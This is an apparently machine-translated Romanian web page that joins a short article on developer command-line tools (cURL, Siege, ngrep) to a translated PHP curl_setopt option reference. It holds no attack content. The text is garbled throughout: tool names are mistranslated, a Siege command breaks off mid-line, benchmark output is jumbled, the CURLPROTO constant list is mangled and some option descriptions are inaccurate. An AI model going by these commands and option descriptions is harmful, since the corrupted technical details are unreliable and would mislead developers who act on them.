Viața unui dezvoltator web este afectată de dificultăți. Este deosebit de frustrant atunci când sursa acestor dificultăți este necunoscută. Este o problemă cu trimiterea unei cereri, sau cu un răspuns, sau cu o bibliotecă terță parte, sau API-ul extern are erori? Există multe instrumente diferite care ne pot face viața mai ușoară. Iată câteva instrumente de linie de comandă pe care personal le găsesc de neprețuit.
răsuci
cURL este un program pentru transferul de date prin diferite protocoale, similar cu wget. Principala diferență este că, implicit, wget salvează într-un fișier, în timp ce cURL iese în linia de comandă. Acest lucru face foarte ușor să vizualizați conținutul site-ului web. De exemplu, iată cum să obțineți rapid IP-ul extern curent:
$ curl ifconfig.me 93.96.141.93
Opțiuni -i(arata titluri) si -Eu(afișați numai antetele) face din cURL un instrument excelent pentru depanarea răspunsurilor HTTP și pentru a analiza exact ce vă trimite serverul:
$ curl -I habrahabr.ru HTTP/1.1 200 OK Server: nginx Data: Thu, 18 Aug 2011 14:15:36 GMT Content-Type: text/html; charset=utf-8 Conexiune: keep-alive Keep-alive: timeout=25
Parametru -L de asemenea, util, face ca cURL să urmărească automat redirecționările. cURL acceptă autentificare HTTP, cookie-uri, tunel prin proxy HTTP, setări manuale pentru antet și multe, multe altele.
Asediu
Siege este un instrument de testare a sarcinii. În plus, are o opțiune la îndemână -g, care este foarte asemănător cu curl -il, dar vă arată și antetele cererii http. Iată un exemplu de pe google.com (unele titluri au fost eliminate pentru concizie):
$ siege -g www.google.com GET / HTTP/1.1 Gazdă: www.google.com User-Agent: JoeDog/1.00 (X11; I; Siege 2.70) Conexiune: închide HTTP/1.1 302 Locație găsită: http:// www.google.co.uk/ Tip de conținut: text/html; charset=UTF-8 Server: gws Lungimea conținutului: 221 Conexiune: închide GET / HTTP/1.1 Gazdă: www.google.co.uk Agent utilizator: JoeDog/1.00 (X11; I; Siege 2.70) Conexiune: închide HTTP/ 1.1 200 OK Tip de conținut: text/html; set de caractere=ISO-8859-1 X-XSS-Protecție: 1; mode=block Conexiune: close
Dar ceea ce este cu adevărat excelent pentru Siege este testarea de încărcare. Ca și benchmark-ul Apache ab, poate trimite multe solicitări simultane către site și poate vedea cum gestionează traficul. Următorul exemplu arată cum testăm Google cu 20 de solicitări timp de 30 de secunde, după care este afișat rezultatul:
$ siege -c20 www.google.co.uk -b -t30s ... Ridicarea asediului serverului... gata. Tranzacții: 1400 de accesări Disponibilitate: 100,00 % Timp scurs: 29,22 secunde Date transferate: 13,32 MB Timp de răspuns: 0,41 secunde Rata tranzacției: 47,91 trans/sec Debit: 0,46 MB/sec Concurență: 19,53 Tranzacții reușite: 40 tranzacții cu succes: 40 tranzacții cu succes 4,08 Cea mai scurtă tranzacție: 0,08
Una dintre cele mai utile caracteristici ale Siege este că poate funcționa nu numai cu o singură adresă, ci și cu o listă de adrese URL dintr-un fișier. Acest lucru este grozav pentru testarea de încărcare, deoarece puteți simula traficul real pe site-ul dvs. în loc să accesați aceeași adresă URL din nou și din nou. De exemplu, iată cum să utilizați Siege pentru a încărca un server folosind adrese din jurnalul dvs. Apache:
$ cut -d " " -f7 /var/log/apache2/access.log > urls.txt $ siege -c
ngrep
Pentru o analiză serioasă a traficului, există Wireshark cu mii de setări, filtre și configurații. Există și o versiune de linie de comandă rechinul. Dar pentru sarcini simple, consider că funcționalitatea Wireshark este redundantă. Deci, atâta timp cât nu am nevoie de o armă puternică, folosesc . Vă permite să faceți același lucru cu pachetele de rețea ca grep face cu fișierele.
Pentru traficul web, aproape întotdeauna veți dori să utilizați -W pentru a păstra formatarea șirurilor, precum și opțiunea -q, care ascunde informații redundante despre pachetele neadecvate. Iată un exemplu de comandă care interceptează toate pachetele cu o comandă GET sau POST:
ngrep -q -W byline "^(GET|POST).*"
Puteți adăuga un filtru suplimentar pentru pachete, de exemplu, după o anumită gazdă, adresă IP sau port. Iată un filtru pentru tot traficul de intrare și de ieșire de pe google.com, portul 80, care conține cuvântul „căutare”.
ngrep -q -W byline „căutare” gazdă www.google.com și portul 80
(PHP 4 >= 4.0.2, PHP 5, PHP 7)
curl_setopt- Setează o opțiune pentru o sesiune CURL
Lista parametrilor
mânerul cURL obținut de la curl_init().
Setarea parametrului CURLOPT_XXX.
Valoarea parametrului de opțiune.
bool:
Parametru | Remarci | |
---|---|---|
CURLOPT_AUTOREFERER | ADEVĂRAT pentru a seta automat câmpul referitor:în cererile redirecționate prin antet Locație:. | |
CURLOPT_BINARYTRANSFER | ADEVĂRAT pentru a returna un răspuns brut atunci când se utilizează o constantă CURLOPT_RETURNTRANSFER. | Începând cu PHP 5.1.3, această opțiune nu mai este necesară: rezultatul brut este întotdeauna returnat atunci când se utilizează opțiunea CURLOPT_RETURNTRANSFER. |
CURLOPT_COOKIESESSION | ADEVĂRAT pentru a spune sesiunii curente să înceapă o nouă „sesiune” de cookie-uri. Acest lucru va face ca libcurl să ignore orice cookie-uri „de sesiune” pe care ar fi trebuit să le încarce din sesiunea anterioară. În mod implicit, libcurl salvează și încarcă întotdeauna toate cookie-urile, indiferent dacă sunt cookie-uri „de sesiune” sau nu. Cookie-urile „de sesiune” sunt cookie-uri fără o dată de expirare, care ar trebui să existe doar pentru „sesiunea” curentă. | |
CURLOPT_CERTINFO | ADEVĂRAT pentru a transmite informații despre certificatul SSL în flux STDERR cu conexiuni sigure. | Adăugat în cURL 7.19.1. Disponibil începând cu PHP 5.3.2. Necesită ca această opțiune să fie activată pentru o funcționare corectă. CURLOPT_VERBOSE. |
CURLOPT_CONNECT_ONLY | ADEVĂRAT spune bibliotecii să facă autentificarea proxy și configurarea conexiunii necesare, dar nu trimite date. Această opțiune este implementată pentru HTTP, SMTP și POP3. | Adăugat în 7.15.2. Disponibil începând cu PHP 5.5.0. |
CURLOPT_CRLF | ADEVĂRAT pentru a converti terminațiile de linie Unix în CRLF. | |
CURLOPT_DNS_USE_GLOBAL_CACHE | ADEVĂRAT pentru a utiliza cache-ul DNS global. Această setare nu este sigură pentru fire și este activată implicit. | |
CURLOPT_FAILONERROR | ADEVĂRAT pentru un raport detaliat despre eșec dacă codul HTTP primit este mai mare sau egal cu 400. Comportamentul implicit returnează pagina ca de obicei, ignorând codul. | |
CURLOPT_FILETIME | ADEVĂRAT pentru a încerca să obțineți data modificării unui document de la distanță. Această valoare poate fi obținută folosind parametrul CURLINFO_FILETIME din funcție curl_getinfo(). | |
CURLOPT_FOLLOWLOCATION | ADEVĂRAT pentru a urma orice antet "Locație: " trimis de server în răspunsul său (rețineți că acest lucru se întâmplă recursiv, PHP va urma toate anteturile trimise "Locație: ", cu excepția cazului în care constanta este setată CURLOPT_MAXREDIRS). | |
CURLOPT_FORBID_REUSE | ADEVĂRAT pentru a forța închiderea unei conexiuni după ce a terminat procesarea, astfel încât să nu poată fi reutilizată. | |
CURLOPT_FRESH_CONNECT | ADEVĂRAT pentru a forța utilizarea unei noi conexiuni în locul celei din cache. | |
CURLOPT_FTP_USE_EPRT | ADEVĂRAT pentru a utiliza EPRT (și LPRT) pentru descărcări FTP active. Utilizare FALS pentru a dezactiva EPRT și LPRT și utilizați numai PORT. | |
CURLOPT_FTP_USE_EPSV | ADEVĂRAT pentru proba inițială a comenzii EPSV în transferurile FTP. Dacă comanda eșuează, va reveni la PASV. Instalați în FALS pentru a dezactiva EPSV. | |
CURLOPT_FTP_CREATE_MISSING_DIRS | ADEVĂRAT pentru a crea directoare lipsă dacă operațiunea FTP întâlnește o cale inexistentă. | |
CURLOPT_FTPAPPEND | ADEVĂRAT pentru a scrie fișierul șters până la sfârșit, în loc să îl suprascrieți peste fișierul existent. | |
CURLOPT_TCP_NODELAY | Specifică dacă opțiunea TCP_NODELAY trebuie să fie permanent setată sau ștearsă (1 = setat, 0 = șters). În mod implicit, opțiunea este ștearsă. | Disponibil începând cu PHP 5.2.1 pentru versiunile construite cu libcurl 7.11.2 sau mai nou. |
CURLOPT_FTPASCII | Poreclă CURLOPT_TRANSFERTEXT. Folosește-l în schimb. | |
CURLOPT_FTPLISTONLY | ADEVĂRAT pentru a returna doar lista de nume din directorul FTP. | |
CURLOPT_HEADER | ADEVĂRAT pentru a include antete în ieșire. | |
CURLINFO_HEADER_OUT | ADEVĂRAT pentru a urmări șirul de interogare de descriptor. | Disponibil începând cu PHP 5.1.3. Prefix CURLINFO_ folosit special. |
CURLOPT_HTTPGET | ADEVĂRAT pentru a reseta metoda de solicitare HTTP la o metodă GET. Deoarece GET este implicit, acest parametru este necesar doar dacă metoda de solicitare a fost modificată anterior. | |
CURLOPT_HTTPPROXYTUNNEL | ADEVĂRAT pentru a tunel prin proxy-ul HTTP specificat. | |
CURLOPT_MUTE | ADEVĂRAT pentru a dezactiva complet mesajele cu funcția cURL. | Eliminat în cURL 7.15.5 (opțiunea CURLOPT_RETURNTRANSFER poate fi utilizată) |
CURLOPT_NETRC | ADEVĂRAT pentru a citi fișierul ~/.netrc pentru login și parola pentru site-ul la distanță la care se stabilește conexiunea. | |
CURLOPT_NOBODY | ADEVĂRAT pentru a exclude corpul răspunsului din ieșire. Metoda de solicitare este setată la HEAD. Schimbând această setare în FALS nu îl schimbă înapoi în GET. | |
CURLOPT_NOPROGRESS | ADEVĂRAT pentru a anula bara de progres pentru transferurile cURL.
|
|
CURLOPT_NOSIGNAL | ADEVĂRAT pentru a ignora orice funcție cURL care trimite semnale PHP către proces. Această setare este activată implicit în SAPI-urile cu mai multe fire pentru ca setările de timeout să funcționeze corect. | |
CURLOPT_POST | ADEVĂRAT pentru a utiliza HTTP POST obișnuit. Această metodă POST folosește metoda obișnuită , folosit în mod obișnuit în formularele HTML. | |
CURLOPT_PUT | ADEVĂRAT pentru a încărca un fișier utilizând metoda HTTP PUT. Fișierul utilizat trebuie setat folosind opțiuni CURLOPT_INFILEși CURLOPT_INFILESIZE. | |
CURLOPT_RETURNTRANSFER | ADEVĂRAT pentru a returna rezultatul transferului ca șir din curl_exec()în loc de ieșire directă către browser. | |
CURLOPT_SAFE_UPLOAD | ADEVĂRAT pentru a dezactiva suportul pentru prefix @ pentru fișierele încărcate CURLOPT_POSTFIELDS, ceea ce înseamnă că valorile trecute cu @ pot fi trecute în siguranță ca câmpuri. În loc de prefix, puteți utiliza opțiunea CURLFile d. | Adăugat în PHP 5.5.0 cu valoarea implicită FALS. În PHP 5.6.0 a devenit implicit egal cu ADEVĂRAT. |
CURLOPT_SSL_VERIFYPEER | FALS pentru a opri cURL să verifice certificatul gazdă. Certificatele alternative verificate pot fi specificate folosind parametrul CURLOPT_CAINFO sau un director cu certificate specificate de parametru CURLOPT_CAPATH. | Valoarea implicită este ADEVĂRAT din versiunea cURL 7.10. Distribuția implicită este instalată începând cu cURL 7.10. |
CURLOPT_TRANSFERTEXT | ADEVĂRAT pentru a utiliza modul ASCII pentru transferurile FTP. Când utilizați LDAP, datele sunt returnate în text simplu în loc de HTML. Pe sistemele Windows, firul STDOUT nu este setat pe modul binar. | |
CURLOPT_UNRESTRICTED_AUTH | ADEVĂRAT pentru a continua trimiterea numelui de autentificare și a parolei în timpul redirecționărilor (când utilizați CURLOPT_FOLLOWLOCATION), chiar dacă numele de gazdă se schimbă. | |
CURLOPT_UPLOAD | ADEVĂRAT pentru a se pregăti pentru încărcarea fișierului pe server. | |
CURLOPT_VERBOSE | ADEVĂRAT pentru a afișa informații suplimentare. Scrie rezultate într-un flux STDERR, sau fișierul specificat de parametru CURLOPT_STDERR. |
Pentru următoarele valori ale parametrului opțiune, parametrul valoare trebuie să fie de tip întreg:
Parametru | valoare de setat | Remarci |
---|---|---|
CURLOPT_BUFFERSIZE | Dimensiunea tamponului utilizat la fiecare citire. Cu toate acestea, nu există nicio garanție că această solicitare va fi finalizată. | Adăugat în cURL 7.10. |
CURLOPT_CLOSEPOLICY | Una dintre constante CURLCLOSEPOLICY_*.
|
Eliminat în PHP 5.6.0. |
CURLOPT_CONNECTTIMEOUT | Numărul de secunde de așteptat în timp ce încercați să vă conectați. Folosiți 0 pentru așteptare infinită. | |
CURLOPT_CONNECTTIMEOUT_MS | Numărul de milisecunde de așteptat în timp ce încercați să vă conectați. Folosiți 0 pentru așteptare infinită. Dacă biblioteca libcurl este compilată utilizând soluția implicită de rezolvare a numelui de sistem, atunci conexiunea va folosi totuși o secundă întreagă de așteptare ca timeout, cu un timeout minim permis de 1 secundă. | Adăugat în cURL 7.16.2. Disponibil începând cu PHP 5.2.3. |
CURLOPT_DNS_CACHE_TIMEOUT | Numărul de secunde în care înregistrările DNS sunt păstrate în memorie. În mod implicit, această setare este 120 (2 minute). | |
CURLOPT_FTPSSLAUTH | Metoda de autentificare FTP (în modul activ): CURLFTPAUTH_SSL(SSL este verificat mai întâi), CURLFTPAUTH_TLS(TLS a verificat mai întâi) sau CURLFTPAUTH_DEFAULT(cURL decide singur). | Adăugat în cURL 7.12.2. |
CURLOPT_HTTP_VERSION | CURL_HTTP_VERSION_NONE (implicit, CURL alege ce versiune să folosească), CURL_HTTP_VERSION_1_0 (implic HTTP/1.0) sau CURL_HTTP_VERSION_1_1 (implic HTTP/1.1). | |
CURLOPT_HTTPAUTH |
Puteți utiliza operatorul pe biți | (sau) pentru o combinație de mai multe metode împreună. În acest caz, cURL va sonda serverul pentru metodele de autorizare acceptate și o va selecta pe cea mai bună. CURLAUTH_ANY este un alias CURLAUTH_BASIC | CURLAUTH_DIGEST | CURLAUTH_GSSNEGOTIATE | CURLAUTH_NTLM. CURLAUTH_ANYSAFE este un alias CURLAUTH_DIGEST | CURLAUTH_GSSNEGOTIATE | CURLAUTH_NTLM. |
|
CURLOPT_INFILESIZE | Dimensiunea așteptată a fișierului, în octeți, la încărcarea unui fișier pe un server la distanță. Rețineți că utilizarea acestei opțiuni nu va opri trimiterea de date suplimentare care depășesc această valoare, deoarece datele trimise depind de rezultat. CURLOPT_READFUNCTION. | |
CURLOPT_LOW_SPEED_LIMIT | Pragul superior al ratei de date, în octeți pe secundă. Verificarea are loc în cadrul CURLOPT_LOW_SPEED_TIME secunde, după care PHP consideră transferul prea lent și îl anulează. | |
CURLOPT_LOW_SPEED_TIME | Numărul maxim de secunde în care rata de transfer nu trebuie să depășească CURLOPT_LOW_SPEED_LIMITîn caz contrar, PHP va marca transferul ca fiind prea lent și îl va opri. | |
CURLOPT_MAXCONNECTS | Numărul maxim de conexiuni persistente. Când limita este atinsă, parametrul este utilizat pentru a determina conexiunea care trebuie închisă. CURLOPT_CLOSEPOLICY. | |
CURLOPT_MAXREDIRS | Numărul maxim de redirecționări de acceptat. Utilizați această opțiune împreună cu opțiunea CURLOPT_FOLLOWLOCATION. | |
CURLOPT_PORT | Port de conectare alternativ. | |
CURLOPT_POSTREDIR | Mască de biți care conține 1 (301 mutat permanent), 2 (302 găsite) și 4 (303 vezi altele) pentru a specifica dacă metoda HTTP POST trebuie procesată atunci când opțiunea este activată CURLOPT_FOLLOWLOCATION dacă a avut loc tipul specificat de redirecționare. | Adăugat în cURL 7.19.1. Disponibil începând cu PHP 5.3.2. |
CURLOPT_PROTOCOLS |
Masca de biți a valorilor CURLPROTO_*. Această mască restricționează protocoalele utilizate de libcurl. Acest lucru vă permite să aveți libcurl care funcționează cu un număr mare de protocoale și să restricționați anumite transferuri să funcționeze numai pentru un anumit set de protocoale. În mod implicit, libcurl utilizează toate protocoalele acceptate. Vezi și parametrul CURLOPT_REDIR_PROTOCOLE. Valori de protocol valide: CURLPROTO_HTTP , CURLPROTO_HTTPS , CURLPROTO_FTP , CURLPROTO_FTPS , CURLPROTO_SCP , CURLPROTO_SFTP , CURLPROTO_TELNET , CURLPROTO_LDAP , CURLPROTO_LDAPS , CURLPROILE, CURLPROTO_PROTO_DTP_PROTO_FTP |
|
CURLOPT_PROXYAUTH | Metodele de autorizare HTTP utilizate la conectarea la serverul proxy. Utilizați aceleași măști de biți ca cele descrise pentru parametru CURLOPT_HTTPAUTH. În prezent, numai CURLAUTH_BASIC și CURLAUTH_NTLM sunt acceptate pentru autorizarea proxy. | Adăugat în cURL 7.10.7. |
CURLOPT_PROXYPORT | Numărul portului serverului proxy la care se realizează conexiunea. Acest număr poate fi setat și folosind parametrul CURLOPT_PROXY. | |
CURLOPT_PROXYTYPE | Fie CURLPROXY_HTTP (implicit), fie CURLPROXY_SOCKS5 . | Adăugat în cURL 7.10. |
CURLOPT_REDIR_PROTOCOLE | Masca de biți a valorilor CURLPROTO_*. Această mască de biți restricționează protocoalele utilizate de libcurl la redirecționare (când CURLOPT_FOLLOWLOCATION). Acest lucru vă permite să limitați setul de protocoale utilizate pentru redirecționări pentru unele transferuri. În mod implicit, libcurl acceptă toate protocoalele, cu excepția FILE și SCP. În versiunile anterioare 7.19.4, redirecționarea a fost folosită pentru toate protocoalele fără excepție. Vezi și descrierea parametrilor CURLOPT_PROTOCOLS pentru o listă de constante cu valori de protocol. | Adăugat în cURL 7.19.4. |
CURLOPT_RESUME_FROM | Offset de la începutul transmisiei, în octeți. | |
CURLOPT_SSL_VERIFYHOST | Utilizați 1 pentru a verifica dacă numele comun există în certificatul SSL. Utilizați 2 pentru a verifica dacă numele comun există și, de asemenea, se potrivește cu gazda specificată. Într-un mediu de luptă, valoarea acestui parametru ar trebui să fie 2 (setat implicit). | Suportul pentru valoarea 1 a fost eliminat în cURL 7.28.1 |
CURLOPT_SSLVERSION | Una dintre constante CURL_SSLVERSION_DEFAULT (0), CURL_SSLVERSION_TLSv1 (1), CURL_SSLVERSION_SSLv2 (2), CURL_SSLVERSION_SSLv3 (3), CURL_SSLVERSION_TLSv1_0 (4), CURL_SSLVERSION_TLSv1_1(5) sau CURL_SSLVERSION_TLSv1_2 (6). | |
CURLOPT_TIMECONDITION | Metoda de interpretare a parametrilor CURLOPT_TIMEVALUE. Utilizați CURL_TIMECOND_IFMODSINCE pentru a returna pagina numai dacă aceasta a fost modificată de la ora specificată în parametru CURLOPT_TIMEVALUE. Dacă pagina nu a fost modificată, titlul va fi returnat „304 nemodificat”, implicând că parametrul CURLOPT_HEADER instalat în ADEVĂRAT. Utilizați CURL_TIMECOND_IFUNMODSINCE pentru efectul opus. Valoarea prestabilită este CURL_TIMECOND_IFMODSINCE . | |
CURLOPT_TIMEOUT | Numărul maxim de secunde permis pentru a executa funcțiile cURL. | |
CURLOPT_TIMEOUT_MS | Numărul maxim de milisecunde permis pentru a executa funcțiile cURL. Dacă libcurl este compilat utilizând soluția normală de rezolvare a numelor de sistem, atunci acest interval de conexiune va folosi în continuare timeout-uri rotunjite a doua, cu timeout-ul minim permis fiind de o secundă. | Adăugat în cURL 7.16.2. Disponibil începând cu PHP 5.2.3. |
CURLOPT_TIMEVALUE | Numărul de secunde de la 1 ianuarie 1970. Acest timp va fi folosit de parametru CURLOPT_TIMECONDITION. În mod implicit, este utilizată opțiunea CURL_TIMECOND_IFMODSINCE. | |
CURLOPT_MAX_RECV_SPEED_LARGE | Dacă viteza de descărcare depășește această valoare (specificată în octeți pe secundă) în medie pe parcursul întregului transfer, descărcarea va fi întreruptă pentru a menține viteza medie mai mică sau egală cu acest parametru. În mod implicit, viteza nu este limitată. | |
CURLOPT_MAX_SEND_SPEED_LARGE | Dacă descărcarea pe server depășește această valoare (specificată în octeți pe secundă) în medie pe parcursul întregului transfer, atunci descărcarea va fi întreruptă pentru a menține o viteză medie mai mică sau egală cu acest parametru. În mod implicit, viteza nu este limitată. | Adăugat în cURL 7.15.5. Disponibil începând cu PHP 5.4.0. |
CURLOPT_SSH_AUTH_TYPES | O mască de biți constând din una sau mai multe constante: CURLSSH_AUTH_PUBLICKEY, CURLSSH_AUTH_PASSWORD, CURLSSH_AUTH_HOST, CURLSSH_AUTH_KEYBOARD. Instalare CURLSSH_AUTH_ANY pentru ca libcurl să aleagă singur unul dintre ele. | Adăugat în cURL 7.16.1. |
CURLOPT_IPRESOLVE | Permite unei aplicații să aleagă tipul de adresă IP cu care este determinat numele de gazdă. Acest lucru este necesar dacă este utilizat un nume de gazdă care este obținut folosind mai multe versiuni ale adresei IP. Valorile posibile ar putea fi CURL_IPRESOLVE_WHATEVER, CURL_IPRESOLVE_V4, CURL_IPRESOLVE_V6, iar implicit CURL_IPRESOLVE_WHATEVER. | Adăugat în cURL 7.10.8. |
Pentru următoarele valori ale parametrului opțiune, parametrul valoare trebuie să fie de tip şir:
Parametru | valoare de setat | Remarci |
---|---|---|
CURLOPT_CAINFO | Numele unui fișier care conține unul sau mai multe certificate împotriva cărora nodurile vor verifica. Această opțiune are sens numai atunci când este utilizată împreună cu CURLOPT_SSL_VERIFYPEER. | Necesită o cale absolută. |
CURLOPT_CAPATH | Un director care conține mai multe certificate CA. Utilizați această opțiune împreună cu CURLOPT_SSL_VERIFYPEER. | |
CURLOPT_COOKIE | Conținutul antetului „Cookie-uri:” Utilizat în cererea HTTP. Rețineți că mai multe cookie-uri sunt separate printr-un punct și virgulă urmat de un spațiu (de exemplu, " fruct=mar; culoare=roșu") | |
CURLOPT_COOKIEFILE | Numele fișierului care conține cookie-urile. Fișierul dat trebuie să fie în format Netscape sau doar antetele HTTP scrise în fișier. Dacă un șir gol este transmis ca nume de fișier, cookie-urile nu vor fi salvate, dar procesarea lor va fi totuși activată. | |
CURLOPT_COOKIEJAR | Numele fișierului în care toate modulele cookie interne ale transferului curent vor fi salvate după ce mânerul este închis, de exemplu, după ce curl_close este apelat. | |
CURLOPT_CUSTOMREQUEST | Metoda de solicitare nativă folosită în schimb "OBȚINE" sau "CAP" la efectuarea unei cereri HTTP. Acest lucru este util pentru interogări "ȘTERGE" sau alte solicitări HTTP mai rare. Sensurile valide ar fi cuvinte ca "OBȚINE", "POST", "CONECTAȚI" si asa mai departe; acestea. nu introduceți întreaga linie de solicitare HTTP aici. De exemplu, o indicație „GET /index.html HTTP/1.0\r\n\r\n” va fi greșit.
|
|
CURLOPT_EGDSOCKET | Ca CURLOPT_RANDOM_FILE, cu excepția faptului că numele fișierului este setat la socket-ul Entropy Gathering Daemon. | |
CURLOPT_ENCODING | Conținutul antetului „Accept-Codificare:”. Acest lucru permite decodificarea cererii. Codificările acceptate sunt "identitate", "dezumfla"și "gzip". Dacă se trece un șir gol, "" , este trimis un antet care conține toate tipurile de codificare acceptate. | Adăugat în cURL 7.10. |
CURLOPT_FTPPORT | Valoarea care va fi folosită pentru a determina adresa IP pentru comanda „PORT” a protocolului FTP. Comanda „PORT” spune serverului la ce adresă IP ar trebui să se conecteze. Aceasta poate fi o adresă IP, un nume de gazdă, un nume de interfață de rețea (sub Unix) sau doar „-” pentru a utiliza adresa IP implicită a sistemului. | |
CURLOPT_INTERFACE | Numele interfeței de rețea de utilizat. Poate fi un nume de interfață, o adresă IP sau un nume de gazdă. | |
CURLOPT_KEYPASSWD | Parola necesară pentru a utiliza cheia privată CURLOPT_SSLKEY sau CURLOPT_SSH_PRIVATE_KEYFILE. | Adăugat în cURL 7.16.1. |
CURLOPT_KRB4LEVEL | Nivel de securitate KRB4 (Kerberos 4). Oricare dintre următoarele valori (în ordinea de la cel mai slab la cel mai puternic) este corectă: "clar", "sigur", "confidenţial", "privat".. Dacă șirul specificat diferă de valorile date, valoarea va fi folosită "privat". Setarea acestei opțiuni la NUL va dezactiva complet securitatea KRB4. În acest moment, securitatea KRB4 funcționează doar cu tranzacții FTP. | |
CURLOPT_POSTFIELDS | Toate datele trimise într-o solicitare HTTP POST. Pentru a transfera un fișier, precedați numele fișierului cu @ și, de asemenea, utilizați calea completă către fișier. Tipul de fișier poate fi specificat și folosind formatul " ;tip=tip mime" după numele fișierului. Acest parametru poate fi transmis ca șir codificat URL, cum ar fi " para1=val1¶2=val2&...", și ca o matrice, ale căror chei sunt numele câmpurilor, iar valorile sunt conținutul lor. Dacă valoarea este o matrice, antetul tipul de conținut va fi setat la multipart/form-data. Începând cu PHP 5.2.0, la încărcarea fișierelor cu un prefix @ , valoarea trebuie să fie o matrice. Din PHP 5.5.0, prefix @ este depreciat și fișierele pot fi trimise folosind CURLFile. Prefix @ poate fi dezactivat pentru a permite transmiterea valorilor începând cu @ prin setarea opțiunii CURLOPT_SAFE_UPLOADîn sens ADEVĂRAT. | |
CURLOPT_PROXY | Proxy HTTP prin care vor fi direcționate cererile. | |
CURLOPT_PROXYUSERPWD | Login și parola scrise ca ":" Folosit la conectarea printr-un proxy. | |
CURLOPT_RANDOM_FILE | Numele fișierului folosit pentru a inițializa generatorul de numere aleatorii pentru SSL. | |
CURLOPT_RANGE | Intervalul de date de încărcat, în format "X Y", și fie X, fie Y pot fi omise. Protocolul HTTP acceptă și transferul de mai multe intervale separate prin virgulă, acestea fiind specificate în format "X-Y, N-M". | |
CURLOPT_REFERER | Conținutul antetului "Referitor:" De utilizat în cererea HTTP. | |
CURLOPT_SSH_HOST_PUBLIC_KEY_MD5 | Un șir care conține 32 de cifre hexazecimale. Șirul trebuie să fie o sumă de control MD5 a cheii publice a gazdei la distanță, iar libcurl va renunța la conexiunea la gazda la distanță până când suma de control se potrivește cu cheia publică. Această opțiune este doar pentru transferul de date folosind SCP și SFTP. | Adăugat în cURL 7.17.1. |
CURLOPT_SSH_PUBLIC_KEYFILE | Numele fișierului pentru cheia dvs. publică. Dacă nu este setat, atunci libcurl este implicit la fișierul $HOME/.ssh/id_dsa.pub dacă variabila de mediu HOME este setată și fișierul „id_dsa.pub” în directorul curent dacă variabila de mediu HOME nu este setată. | Adăugat în cURL 7.16.1. |
CURLOPT_SSH_PRIVATE_KEYFILE | Numele fișierului pentru cheia dvs. privată. Dacă nu este setat, libcurl este implicit la fișierul $HOME/.ssh/id_dsa dacă variabila de mediu HOME este setată și fișierul „id_dsa” în directorul curent dacă variabila de mediu HOME nu este setată. Dacă fișierul este protejat cu parolă, setați parola cu CURLOPT_KEYPASSWD. | Adăugat în cURL 7.16.1. |
CURLOPT_SSL_CIPHER_LIST | Lista de cifruri utilizate în transferurile SSL. De exemplu, RC4-SHAși TLSv1 sunt liste de cifrare valide. | |
CURLOPT_SSLCERT | Numele fișierului unui certificat PEM formatat corect. | |
CURLOPT_SSLCERTPASSWD | Este necesară parola pentru a utiliza certificatul CURLOPT_SSLCERT. | |
CURLOPT_SSLCERTTYPE | format de certificat. Formate acceptate "PEM"(Mod implicit), „DER”și "ENG". | Adăugat în cURL 7.9.3. |
CURLOPT_SSLENGINE | ID-ul mecanismului de criptare pentru cheia privată SSL specificată în parametru CURLOPT_SSLKEY. | |
CURLOPT_SSLENGINE_DEFAULT | Identificatorul mecanismului de criptare utilizat pentru operațiunile de criptare asimetrică. | |
CURLOPT_SSLKEY | Numele fișierului cheii private SSL. | |
CURLOPT_SSLKEYPASSWD | Parola secretă necesară pentru a utiliza cheia privată SSL specificată de parametru CURLOPT_SSLKEY.
|
|
CURLOPT_SSLKEYTYPE | Tipul cheii private SSL specificate în parametru CURLOPT_SSLKEY. Sunt acceptate următoarele tipuri de chei: "PEM"(Mod implicit), „DER”și "ENG". | |
CURLOPT_URL | Adresă URL încărcabilă. Acest parametru poate fi setat și atunci când sesiunea este inițializată cu curl_init(). | |
CURLOPT_USERAGENT | Conținutul antetului "Agent utilizator: ", trimis în cererea HTTP. | |
CURLOPT_USERPWD | Login și parola utilizate la conectare, specificate în format ":" . |
Pentru următoarele valori ale parametrilor de opțiune, parametrul de valoare trebuie să fie o matrice:
Parametru | valoare de setat | Remarci |
---|---|---|
CURLOPT_HTTP200ALIASES | O serie de răspunsuri HTTP 200 care vor fi tratate ca răspunsuri valide, nu eronate. | Adăugat în cURL 7.10.3. |
CURLOPT_HTTPHEADER | O matrice de anteturi HTTP de setat, în formatul matrice ("Content-type: text/plain", "Content-length: 100") | |
CURLOPT_POSTQUOTE | O serie de comenzi FTP care urmează să fie executate pe server după ce se face cererea FTP. | |
CURLOPT_QUOTE | O serie de comenzi FTP care urmează să fie executate pe server înainte de efectuarea cererii FTP. |
Pentru următoarele valori ale parametrului opțiune, parametrul valoare trebuie să fie un handle de flux (returnat, de exemplu, de funcția fopen()):
Parametru | valoare de setat |
---|---|
CURLOPT_FILE | Fișierul în care va fi scris rezultatul transferului. Implicit este utilizarea fluxului de ieșire STDOUT(fereastra browserului). |
CURLOPT_INFILE | Fișierul din care trebuie citite datele atunci când sunt încărcate pe server. |
CURLOPT_STDERR | Fișier alternativ de ieșire a erorilor de utilizat în locul fluxului de erori STDERR. |
CURLOPT_WRITEHEADER | Fișierul în care vor fi scrise anteturile operațiunii curente. |
Pentru următoarele valori ale parametrilor de opțiune, parametrul de valoare trebuie să fie un nume de funcție sau o închidere validă:
Parametru | valoare de setat |
---|---|
CURLOPT_HEADERFUNCTION | Funcția de apel invers ia doi parametri. Primul parametru este mânerul cURL, al doilea parametru este șirul cu anteturile de scris. Anteturile trebuie scrise folosind această funcție de apel invers. Ar trebui să returneze numărul de octeți scrisi. |
CURLOPT_PASSWDFUNCTION | Funcția de apel invers ia trei parametri. Primul parametru este mânerul cURL, al doilea parametru este șirul prompt al parolei, iar al treilea parametru este lungimea maximă a parolei. Ar trebui să returneze un șir care să conțină parola. |
CURLOPT_PROGRESSFUNCTION |
Funcția de apel invers ia cinci parametri. Primul este mânerul cURL, al doilea este numărul total de octeți care se preconizează a fi descărcați de pe server, al treilea este numărul de octeți deja descărcați, al patrulea este numărul total de octeți care urmează să fie trimiși către server și al cincilea este numărul de octeți deja trimiși.
Puteți returna o valoare diferită de zero pentru a anula transferul. În acest caz, o eroare va fi aruncată CURLE_ABORTED_BY_CALLBACK. |
CURLOPT_READFUNCTION | Funcția de apel invers ia trei parametri. Primul parametru este mânerul cURL, al doilea parametru este resursa fluxului transmisă către cURL prin intermediul opțiunii CURLOPT_INFILE, iar al treilea parametru este cantitatea maximă permisă de date de citit. Funcția de apel invers trebuie să returneze un șir care nu este mai lung decât cantitatea de date solicitată, de obicei prin citirea din resursa de flux transmisă. Ar trebui să returneze un șir gol pentru un semnal de sfârșit de fișier EOF. |
